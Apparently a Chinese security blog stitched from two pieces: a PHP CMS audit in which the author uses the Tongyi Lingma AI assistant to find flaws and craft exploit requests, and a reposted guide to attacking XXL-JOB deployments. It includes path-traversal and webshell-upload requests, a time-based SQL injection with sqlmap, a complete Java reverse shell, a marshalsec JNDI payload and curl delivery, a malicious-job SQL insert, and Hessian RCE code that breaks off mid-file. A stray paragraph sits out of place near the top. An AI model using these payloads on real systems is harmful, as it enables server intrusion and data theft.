Seay源代码审计:基于C#语言开发的一款针对PHP代码安全性审计的系统,主要运行于Windows系统上。这款软件能够发现SQL注入、代码执行、命令执行、文件包含、文件上传、绕过转义防护、拒绝服务、XSS跨站、信息泄露、任意URL跳转等漏洞,基本上覆盖常见PHP漏洞。另外,在功能上,它支持一键审计、代码调试、函数定位、插件扩展、自定义规则配置、代码高亮、编码调试转换、数据库执行监控等数十项强大功能,由于已经停止维护了,官网上也下载不到,百度云盘地址如下:https://pan.baidu.com/s/1HHnniTNWzXhb-pn6OZgexA 密码:75ji

CodeScan:基于GO语言的快速匹配Sink点的工具,使用起来还行,地址如下:https://github.com/Zjackky/CodeScan

RIPS :Rips是一个用PHP编写的源代码分析工具,它采用了静态分析技术,能够自动化地检测PHP代码中的安全漏洞,如XSS(跨站脚本攻击)、SQL注入、文件泄露、Header Injection等。Rips不仅提供了直观的扫描结果展示,还集成了代码审计框架,方便渗透测试人员直接审阅分析结果,大大提高了代码审计的效率。地址如下:https://rips-scanner.sourceforge.net/

代码编写及辅助工具

Visual Studio Code :(简称 VS Code) 是由微软开发的一款免费且开源的源代码编辑器,支持 Windows、macOS 和 Linux 平台。

通义灵码:本次的主角,基于通义大模型的 AI 研发辅助工具,包含 AI 编码助手和 AI 程序员。其中,AI 编码助手为开发者写代码、补代码、写注释、写单测、写代码优化和排查问题,是开发者的编码搭子; AI 程序员是一个 AI 编程智能体,可以模拟软件架构师、开发工程师、测试工程师等多种岗位能力,分钟级自主完成任务拆解、代码编写、缺陷修复、测试等编程相关任务,为企业软件研发降本增效。

遗憾的是,我这里没有申请到AI 程序员的试用资格,所以只能暂时以灵码为例了。

2、去利用XSLT去注入内存马

这个应该是最好使的方案,Nookipop已经讲过了,在不出网时可以利用XSLT去打入内存马,进行命令执行,打入suo5内存马进行正向代理内网穿透。
详见 记一次曲折的XXL-JOB API Hessian反序列化到Getshell

源码下载

由于是开源代码,在Github、gitee以及站长网站上都是可以免费下载到的,有些开源网站如果有定制服务的话也可能会有自己的主站。

image

image

环境搭建

将下载后的源码放在phpstudy的 www 目录下

image

进入 phpstudy_pro\WWW\cltopen-master\cltopen-master\config 目录下,修改数据库配置文件

image

修改之后可以进入数据库中,导入该开源项目的示例数据库

image

打开phpstudy ,设置域名和根目录

image

设置伪静态(必须)

1
2
3
4
5
6
7
location / {

if (!-e $request_filename){

rewrite ^(.*)$ /index.php?s=$1 last; break;
}
}

image

点击确认即可,打开浏览器访问域名即可看到

同理,对于某OA系统的搭建也是如此,只不过该OA里自带了一个初始化数据库的引导界面,所以不需要手动修改数据库配置文件

审计打点

在环境搭建好之后就可以开始准备代码审计了,正常来说代码审计的第一步应该是熟悉框架、通读代码,具体的方式与个人代码能力和编程语言的熟悉程度有关系,有时,为了快速审计,就会采用上述几个工具进行打点和标注,由于工具内置的正则不同,所以结果也会略有差异,如果想尽可能的找到所有漏洞点的话,应该以上述工具的结果之和为参考。

值得一说的是,有时候工具可能也会存在漏报和误报的情况,所以此处结果仅能做参考,还需要人工进行审核和验证。

image

image

这套开源代码的漏洞确实比较多,后台随手一测就是一个SQL注入,所以我们这里只挑危害比较高的漏洞去挖掘,主要关注文件读取、文件包含、文件上传等方法。

在排除该代码5.5版本及之前存在且已修复的漏洞后,最终锁定到后台管理控制层下面的Template.php文件处(本次仅针对此处进行了挖掘和分析)

源码分析

打开源码,进入到Template.php页面下,可以看到代码如下:

image

主要是定义了一个 Template 控制类,用于管理模板文件的增删改查操作,以及图片文件的管理和删除。

按照往常,我们应该会结合上述审查工具提示的代码位置去进行分析和判断,但是,现在我们有了通义灵码,一切都变得不一样了。

首先我们全选代码,使用提示词如下:

已知该代码中存在安全漏洞,请你找出你能确定的漏洞,并简要分析该漏洞形成原因

这段 prompt 有几点比较关键:

  1. 我们需要明确告知灵码,这里确实存在安全漏洞,同时也是确认主题,避免输出其他内容
  2. 我们需要告知,找出它能确定的漏洞,减少误报和泛化判断
  3. 明确最终结果是分析该漏洞形成原因,也便于安全工程师理解

随即,灵码会针对该段代码进行一次静态审查,并给出结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
安全漏洞及分析

1.路径遍历漏洞

位置:insert, edit, update, delete, imgDel , Images方法
原因:用户输入的文件路径和文件名未进行严格验证,可能导致路径遍历攻击。例如,通过在文件名中包含 ../,攻击者可以访问或操作任意文件。
示例:
php
$filename = input('post.file'); // 用户输入未验证
$path = $type==$this->viewSuffix ? $this->filepath : $this->publicpath.$type.'/';
$file = $path.$filename.'.'.$type; // 可能导致路径遍历

2.文件上传漏洞

位置:insert, update 方法
原因:用户上传的内容未进行严格验证,可能导致恶意代码注入。例如,攻击者可以通过上传恶意脚本文件来执行任意代码。
示例:
php
file_put_contents($file, stripslashes(input('post.content'))); // 未验证内容

3.目录删除漏洞

位置:imgDel 方法
原因:用户输入的目录路径未进行严格验证,可能导致任意目录被删除。
示例:
php
$path = $this->publicpath.'images/'.input('post.folder'); // 用户输入未验证
$file=$path.input('post.filename'); // 可能导致路径遍历
is_dir($file) ? dir_delete($file) : unlink($file); // 删除目录或文件

4.SQL 注入漏洞

位置:无明显 SQL 注入风险,但需要注意后续可能引入的数据库操作。
原因:虽然当前代码没有直接的 SQL 操作,但如果后续版本中引入了数据库操作,且用户输入未进行适当处理,可能会导致 SQL 注入。

5.XSS 漏洞

位置:edit, images 方法
原因:用户输入的内容未进行转义处理,可能导致跨站脚本攻击(XSS)。
示例:
php
$content = file_get_contents($file); // 未转义
$this->assign ( 'content',$content ); // 直接输出到页面

image

每一个漏洞下面都标明了存在该漏洞的方法和引发原因,并且对于不存在的漏洞也明确说明了(没有产生幻觉)

下面,我们需要做的就是进入到web界面中,找到调用此处方法的位置

路径遍历漏洞、任意文件删除漏洞

image

采用BP抓包,此处以edit方法为例,可以发现拼接方式是 admin/模块/方法/操作对象类型/操作对象

image

观察到下面的update方法是在保存之后可以直接执行的,所以此处尝试直接替换成edit方法

其中请求包如下:

1
2
3
4
5
6
7
8
9
10
GET /admin/template/edit.html  HTTP/1.1
Host: xxx.xxx.xxx.xxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://public/admin/template/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8
Connection: close

假设是一个完全看不懂代码的小白,你也可以选择把这段请求包丢进去:

已知请求包如下,请你帮忙修改请求包以验证该漏洞存在:

image

此时,它会根据当前的传入参数自动构造一个修改后的返回包:

1
2
3
4
5
6
7
8
9
10
GET /admin/template/edit.html?file=../../../../etc/passwd HTTP/1.1
Host: xxx.xxx.xxx.xxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://public/admin/template/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8
Connection: close

默认是以Linux服务器的路径为例的,也可以告知说明是windows系统,让他再次修改。

1
2
3
4
5
6
7
8
9
10
GET /admin/template/edit.html?file=..\..\..\..\Windows\System32\drivers\etc\hosts HTTP/1.1
Host: xxx.xxx.xxx.xxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://public/admin/template/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8
Connection: close

除此,下面也配上了漏洞分析和预期结果:

1
2
3
4
5
6
7
8
漏洞分析
文件名参数:file=..\..\..\..\Windows\System32\drivers\etc\hosts
这个参数尝试通过路径遍历访问 Windows 系统根目录下的 C:\Windows\System32\drivers\etc\hosts 文件。如果服务器存在路径遍历漏洞,这个请求将会返回 hosts 文件的内容。
其他参数:保留原始请求中的其他参数,以确保请求的完整性和有效性。

预期结果
如果服务器存在路径遍历漏洞,响应中将包含 hosts 文件的内容。
如果服务器没有漏洞,响应中可能会显示错误信息,表示文件不存在或无法访问。

再回到BP中,我们根据当前路径尝试验证,成功复现漏洞,可以任意读取文件内容:

image

image

再比如,定位到Images方法处

image

采用BP抓包,可直接抓到如下地址:

image

借助灵码直接构造请求包如下:

1
2
3
4
5
6
7
8
9
10
GET /admin/template/images.html?folder=../../ HTTP/1.1
Host: xxx.xxx.xxx.xxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://public/admin/template/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8
Connection: close

可在图片查看界面实现对文件目录的遍历:

image

同理,这里也可以结合imgDel方法实现对服务器任意文件的删除,具有极高危害!

image

文件上传漏洞、文件内容覆盖漏洞

继续跟进上述灵码输出内容,我们知道此处insert, update 方法还存在文件上传漏洞

在BP中抓包地址如下:

image

我们先修改为insert方法,故当前请求包为:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /admin/template/insert.html HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 48
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://public
Referer: http://public/admin/template/edit/file/article_list.html.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8
Connection: close

将请求包丢入灵码中,让其构造能够验证漏洞存在的请求包:

已知insert方法中存在文件上传漏洞,下面这是该方法的请求包,请你修改请求包以让我验证漏洞是否存在,依据代码本身来,不要额外新增参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /admin/template/insert.html HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 65
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://public
Referer: http://public/admin/template/edit/file/article_list.html.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8
Connection: close

file=test.php&type=php&content=<?php system($_GET['cmd']); ?>

可以看到,灵码根据当前insert方法需要输入的参数,自己构造了一个请求包

image

并且下面也给出了相应解释及详细验证步骤

image

因为是本机测试环境,所以我就换了一个无影响的文件内容来进行验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /admin/template/insert.html HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 48
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://public
Referer: http://public/admin/template/edit/file/article_list.html.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8
Connection: close

file=../../shell&type=php&content=<?php eval($_POST[1]);?>

返回包提示添加成功

image

在static目录下可以看到该上传的文件

image

由于没有限制文件格式和内容,此处是可以上传任何格式和内容

同理,我们看到update方法的构造是与上述insert方法一摸一样的,也存在多个可控参数

image

这里直接延用上述请求包即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /admin/template/update.html HTTP/1.1
Host: public
Content-Length: 46
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://public
Referer: http://public/admin/template/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=3vb3dfih8ghqnnvsp83v5jq8j8
Connection: close

file=../../../ceshi.txt&type=txt&content=nihao

但注意,此处原请求type值为空,file文件后跟上后缀.html,但如果要任意文件修改,则必须指明type类型,不能为空,在file后也要写文件的全名(包括后缀)

执行后结果如下:

image

原测试文件内容如下:

image

执行后文件内容如下:

image

可以看到已实现对任意文件内容的修改

SQL注入漏洞

看完了几个高危,我们再来看看比较常见的SQL注入漏洞,这个项目的后台因为本身就可以实现对数据库的管理,所以后台已授权的SQL注入反而显得毫无价值了,我们仅以此为例,来看看通义灵码全面的辅助审计能力

进入到广告管理模块下面,看到其调用的方法来自AD.php

继续使用上述prompt:

已知该代码中存在SQL注入漏洞,请你找出你能确定的漏洞,并简要分析该漏洞形成原因

此处因为目标是寻找SQL注入漏洞,为了进一步缩小范围,可以直接告知它存在该漏洞,如若不存在,它会明确告知无SQL注入风险

它给出的回答如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
在提供的代码中,存在多个潜在的SQL注入漏洞。以下是一些确定的漏洞及其成因分析:

1. index 方法中的 where 条件

->where('a.title', 'like', "%" . $key . "%")

成因分析:$key 是从用户输入的 post.key 获取的,没有进行任何过滤或转义。
如果用户输入恶意的 SQL 语句,可以直接影响查询条件,导致 SQL 注入。

示例攻击:用户输入 key 为 1' OR '1'='1,查询条件将变为 a.title LIKE '%1\' OR \'1\'=\'1%',这将导致查询返回所有记录。

2. editState 方法中的 where 条件

if(db('ad')->where('id='.$id)->update(['open'=>$open])!==false){


成因分析:$id 是从用户输入的 post.id 获取的,没有进行任何过滤或转义。
如果用户输入恶意的 SQL 语句,可以直接影响查询条件,导致 SQL 注入。

示例攻击:用户输入 id 为 1 OR 1=1,查询条件将变为 id=1 OR 1=1,这将导致更新所有记录。

3. del 方法中的 where 条件

db('ad')->where(array('id'=>input('id')))->delete();

成因分析:虽然这里使用了数组形式的 where 条件,但在某些情况下,如果 input('id') 是一个复杂的表达式,仍然可能存在风险。

最好使用参数绑定来确保安全性。

4. delall 方法中的 where 条件

$map[] =array('id','in',input('param.ids/a'));
db('ad')->where($map)->delete();

成因分析:input('param.ids/a') 直接用于 IN 子句,没有进行任何过滤或转义。
如果用户输入恶意的 SQL 语句,可以直接影响查询条件,导致 SQL 注入。

示例攻击:用户输入 ids 为 1,2,3) OR 1=1 --,查询条件将变为 id IN (1,2,3) OR 1=1 --,这将导致删除所有记录。

比如说我们想聚焦到其中一个方法下面,具体对其进行研究和复现,可以使用如下prompt:

请详细讨论editState 方法中的 where 条件

灵码就会针对该方法进行详细的分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
问题分析
用户输入直接拼接到 SQL 语句中:$id 和 $open 是从用户输入的 POST 请求中直接获取的,没有进行任何验证或转义。

这种做法非常危险,因为用户可以通过构造恶意的输入来注入 SQL 代码。

SQL 注入风险:如果用户输入的 id 为 1 OR 1=1,查询条件将变为 id=1 OR 1=1,这将导致更新所有记录。

类似地,如果用户输入的 open 为 1; DROP TABLE ad; --,可能会导致更严重的后果。

示例攻击
假设用户发送以下 POST 请求:

POST /admin/ad/editState HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded

id=1 OR 1=1&open=1

生成的 SQL 语句将是:

UPDATE `ad` SET `open` = 1 WHERE id = 1 OR 1=1

这条 SQL 语句将更新表 ad 中的所有记录,而不是仅仅更新 id 为 1 的记录。

image

对应的,我们直接去web界面的广告管理模块,找到调用editState方法的位置

image

抓包如下,构造延迟注入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /admin/ad/editstate.html HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 25
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://public
Referer: http://public/admin/ad/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: skin=0; uid=2; token=5cf0861f-e530-4e71-9160-e1853b8d3a6d; PHPSESSID=bs9fg0tv537v13ooprl3j6v6bb; skin=0
Connection: close

id=38 and sleep(5)&open=1

验证发现可以延迟

image

随后采用SQLmap进行验证存在

1
py sqlmap.py -r url.txt --batch --dbms=mysql --is-dba

image

workspace工作空间分析

除去对当前代码的基础分析外,灵码也可以对当前的工作空间进行整体分析:

image

进入workspace工作空间模式下,此时它可以直接读到本地项目,所以我们可以指明文件的目录位置来进行prompt提问:

@workspace
请你分析application/admin/controller/Common.php文件,判断出其中存在的安全漏洞。

灵码给出的回复如下:

image

如若不指出,也可以直接提问让其在整个工作空间下寻找漏洞点:

请指出该程序中可能存在的安全漏洞并加以简要分析

但是这种方法的缺点就在于”随机性”太强,因为灵码的输出字符数有限,且它引用的你本地代码文件数量有限,所以极有可能出现每次结果都完全不一样的情况,如果存在漏洞点较多,它的输出就更加模糊了。

image

这个功能的一些好处在于,它不仅能够帮助开发者更深入地理解自己的代码库,还能根据现有代码的逻辑和编程风格提供更加个性化、更加贴合实际需求的代码片段或优化建议。例如,通过分析现有的编码模式,该功能可以识别出重复的代码模板或者常见的开发习惯,进而提出改进措施来提高代码的可读性和效率。此外,对于那些希望保持项目一致性或是遵循特定设计模式的团队来说,这种定制化的反馈是非常有价值的。它还可以帮助识别潜在的bug或性能瓶颈,从而提升软件的质量与运行效率。

总结及展望

我接触灵码也已经快两年了,之前一直都是用来写运维脚本,这是我第一次尝试结合AI工具来辅助代码审计,在实际应用中,通义灵码的表现确实是超出了我的预期。它不仅帮助我快速定位了多个潜在的安全漏洞,而且还极大地提升了审计工作的效率。这一经历让我深刻认识到,AI技术在软件安全领域的应用前景广阔,尤其是在提高代码审查质量和速度方面具有显著优势。

但同时,它仍然存在可提升空间:

  • 在理解和解释复杂业务逻辑方面的能力还有待加强,尤其是在面对非标准或高度定制化的代码时,其表现不尽如人意。
  • 在workspace模式下,有些过于僵硬,不能很好的理解我的需求

回望过去两年灵码能力的大幅度增强,我们有理由相信它在未来会变得更加智能和高效,能够更好地应对复杂代码结构和逻辑,减少误报率,提高漏洞检测的准确性。同时,通过不断优化用户体验,灵码将能够更好地适应多样化的需求,提供更加个性化和定制化的服务,使开发者和安全研究人员能够更专注于核心问题的解决。

XXL-JOB在真实攻防下的总结

XXL-JOB在真实攻防下的总结

本文转自 Air 并作补充

最近在HW中经常会遇到XXL-JOB这个组件,也通过这个组件进入了不少目标单位,那就对该组件的利用进行一次总结。

一、最基本的操作-计划任务命令执行

这个操作我相信大家已经熟的不能再熟了,因为xxl-job的初始化sql语句中设定了默认密码,而且在登入之后不会提示修改默认密码,就造成了xxl-job的默认账号密码为admin/123456。

由于xxl-job本身是任务调度的系统,其可以自然执行命令。通常会反弹shell,再进行后渗透,只需要在新建命令时选择对应的脚本语言,在GLUE IDE中编辑命令,选择执行一次即可。

image

image

image

这种方式有几个容易踩坑的点:

1、选择执行命令的种类与系统不匹配

image

因为xxl-job的exector在生产环境中常常跑在docker环境下的linux下,就会造成一个惯性思维:当我们拿到一个xxl-job的往往会先使用shell去执行命令。

image

当失败的时候就会以为是环境有问题,打不动。

却不知有时xxl-job也可以跑在Windows下。这时候就可以去执行Powerhshell命令去上线。当然如果比较懒的话可以直接执行java代码来上线。无论Windows和linux都可以反弹shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
package com.xxl.job.service.handler;

import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.Socket;

public class reverse {
class StreamConnector
extends Thread
{
InputStream hx;
OutputStream il;

StreamConnector(InputStream hx, OutputStream il)
{
this.hx = hx;
this.il = il;
}

public void run()
{
BufferedReader ar = null;
BufferedWriter slm = null;
try
{
ar = new BufferedReader(new InputStreamReader(this.hx));
slm = new BufferedWriter(new OutputStreamWriter(this.il));
char[] buffer = new char[8192];
int length;
while ((length = ar.read(buffer, 0, buffer.length)) > 0)
{
slm.write(buffer, 0, length);
slm.flush();
}
}
catch (Exception localException) {}
try
{
if (ar != null) {
ar.close();
}
if (slm != null) {
slm.close();
}
}
catch (Exception localException1) {}
}
}
public reverse()
{
reverseConn("ip:port");
}

public static void main(String[] args)
{
System.out.println("0");
}

public void reverseConn(String ip)
{
String ipport = ip;
try
{
String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
ShellPath = new String("/bin/sh");
} else {
ShellPath = new String("cmd.exe");
}
Socket socket = new Socket(ipport.split(":")[0],
Integer.parseInt(ipport.split(":")[1]));
Process process = Runtime.getRuntime().exec(ShellPath);
new StreamConnector(process.getInputStream(),
socket.getOutputStream()).start();
new StreamConnector(process.getErrorStream(),
socket.getOutputStream()).start();
new StreamConnector(socket.getInputStream(),
process.getOutputStream()).start();
}
catch (Exception e)
{
e.printStackTrace();
}
}
}

2、反弹shell

在实战中会碰到executor不出网的情况。即执行了反弹shell的命令之后在vps上未收到回显,这时就要去思考executor是否出网或者是注册executor是否失效。
我们可以去执行器中查看其注册方式

image

我们去正常来说自动注册的executor是不会出问题的。因为从代码实现来看xxl-job的executor每隔2min就会向adminer发送心跳证明其存活。而自己注册的可能就不一定可以打通。

二、api未授权访问

在xxl-job<=2.0.2的时候api存在未授权访问,有两种方式可以getshell。

1、利用jndi注入去打内存马

这个已经被人讲过好多次了,但是利用的前提就是需要出网,使用marshalsec去生成payload

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor rmi://x.x.x.x:1099/aaa > test.ser

再利用curl去发包即可,注意尽量使用linux或者Windows的cmd去发包,实测Windows下powershell发包可能会出现一些问题。

1
curl -XPOST -H "Content-Type: x-application/hessian" --data-binary @test.ser http://127.0.0.1:8080/xxl-job-admin/api

2、去利用XSLT去注入内存马

这个应该是最好使的方案,Nookipop已经讲过了,在不出网时可以利用XSLT去打入内存马,进行命令执行,打入suo5内存马进行正向代理内网穿透。

详见 记一次曲折的XXL-JOB API Hessian反序列化到Getshell

三、执行命令注入内存马

这种同样是不出网时才考虑的操作。注入的是agent内存马,这个利用的条件其实也有点苛刻,一般来说xxl-job的executor常常跑在docker环境下或者分布式部署。而要想注入agent类型的内存马就需要admin端和executor跑在一台主机下。方法就是使用echo方法或者java的写入文件的方法将agent内存马写到目标主机上,然后在进行加载。具体利用方法可参照。XXL-JOB 深度利用

四、奇技淫巧-从数据库getShell

这也是实战中遇到的一个案例,目标单位存在一个nacos的身份伪造漏洞,获取到了数据库的配置文件,成功的连上了数据库,当然我们可以去尝试udf提权或者猜目录去写马,但我发现数据库中存在xxl_job的数据库,这时候其实就有更多的方法去getshell。

image

image

这时候通常有两种利用方式:1、获取到xxl-job的密码,登入xxl-job去写计划任务进行命令执行getshell。2、直接通过往数据库里写内容进行getshell。

1、登入xxl-job进行getshell

这种方式通常适用于xxl-job-admin的服务暴露在互联网上。我们可以通过语句select * from information_schema.PROCESSLIST;来判断客户端连接。由于我是在本地跑的环境,这里就是localhost,如果是通过公网ip去连接的数据库,我们就可以定位到其公网ip,扫一下端口即可判断xxl-job-admin是否暴露在公网上了。

image

如果暴露在公网上,我们便可以直接利用,xxl-job密码为md5加密,我们首先可以尝试md5解密,解不开的话新增一个用户,密码用md5加密即可。登入成功之后我们便可以通过计划任务进行命令执行了。

image

2、通过向数据库中写入数据进行getshell

这是我偶然发现的一个小trick,其实原理很简单,xxl-job-admin会定时从数据库中查询待执行的任务,在一定时间内执行。也就是说,我们只需要往数据库里插入我们构造好的恶意定时任务。他便会让executor去执行。当前测试版本为2.4.1(不同版本的xxl-job的数据库结构不太相同,以最新版的为例,旧版的在之前遇到的环境中经测试也能打通。)

只需要在xxl_job.xxl_job_info中插入这条语句即可

1
2
3
INSERT INTO `xxl_job`.`xxl_job_info` 
(`id`, `job_group`, `job_desc`, `add_time`, `update_time`, `author`, `alarm_email`, `schedule_type`, `schedule_conf`, `misfire_strategy`, `executor_route_strategy`, `executor_handler`, `executor_param`, `executor_block_strategy`, `executor_timeout`, `executor_fail_retry_count`, `glue_type`, `glue_source`, `glue_remark`, `glue_updatetime`, `child_jobid`, `trigger_status`, `trigger_last_time`, `trigger_next_time`)
VALUES (7, 1, '22222', '2023-12-27 14:57:36', '2023-12-27 14:58:23', '22222', '', 'CRON', '0/5 * * * * ?', 'DO_NOTHING', 'FIRST', '', '', 'SERIAL_EXECUTION', 0, 0, 'GLUE_POWERSHELL', 'calc\n', '12312321', '2023-12-27 14:57:48', '', 0, 1703660320000, 1703660325000);

其中有几个值得关注的点:

schedule_typecorn轮询,0/5 * * * * ?则是计划任务执行的时间我这里设定为5秒1次。executor_handler则是执行命令的类型,我这里因为在Windows下测试,故而选择为powershell,也可变为GLUE_SHELL或者GLUE_GROOVY等来应对不同的命令。目前我们只是插入了命令,并不能执行,要是想执行,还需要在插入数据之后把trigger_status的值改为1,executor便会自动开始执行我们输入的命令。

五、executor未授权访问

xxl-job的executeor存在未授权访问漏洞,指纹如下图所示

低版本

image

高版本

image

其原因就是admin端与executeor端通过互相发送tcp包进行通信,攻击者可伪造包,使executeor执行命令。

该漏洞主要分为三个阶段

1、XxlJob<2.1.2,需要利用Hessian触发

参考这个项目即可RCE
https://github.com/OneSourceCat/XxlJob-Hessian-RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
package com.example;

import com.xxl.job.core.biz.model.TriggerParam;
import com.xxl.rpc.remoting.net.params.XxlRpcRequest;

import com.xxl.rpc.serialize.impl.HessianSerializer;
import org.asynchttpclient.AsyncCompletionHandler;
import org.asynchttpclient.AsyncHttpClient;
import org.asynchttpclient.DefaultAsyncHttpClient;
import org.asynchttpclient.Response;

import java.io.IOException;
import java.util.Date;

public class App {

private static void sendData(String url, byte[] bytes) {
AsyncHttpClient c = new DefaultAsyncHttpClient();

try{
c.preparePost(url)
.setBody(bytes)
.execute(new AsyncCompletionHandler<Response>() {
@Override
public Response onCompleted(Response response) throws Exception {
System.out.println("Server Return Data: ");
System.out.println(response.getResponseBody());
return response;
}

@Override
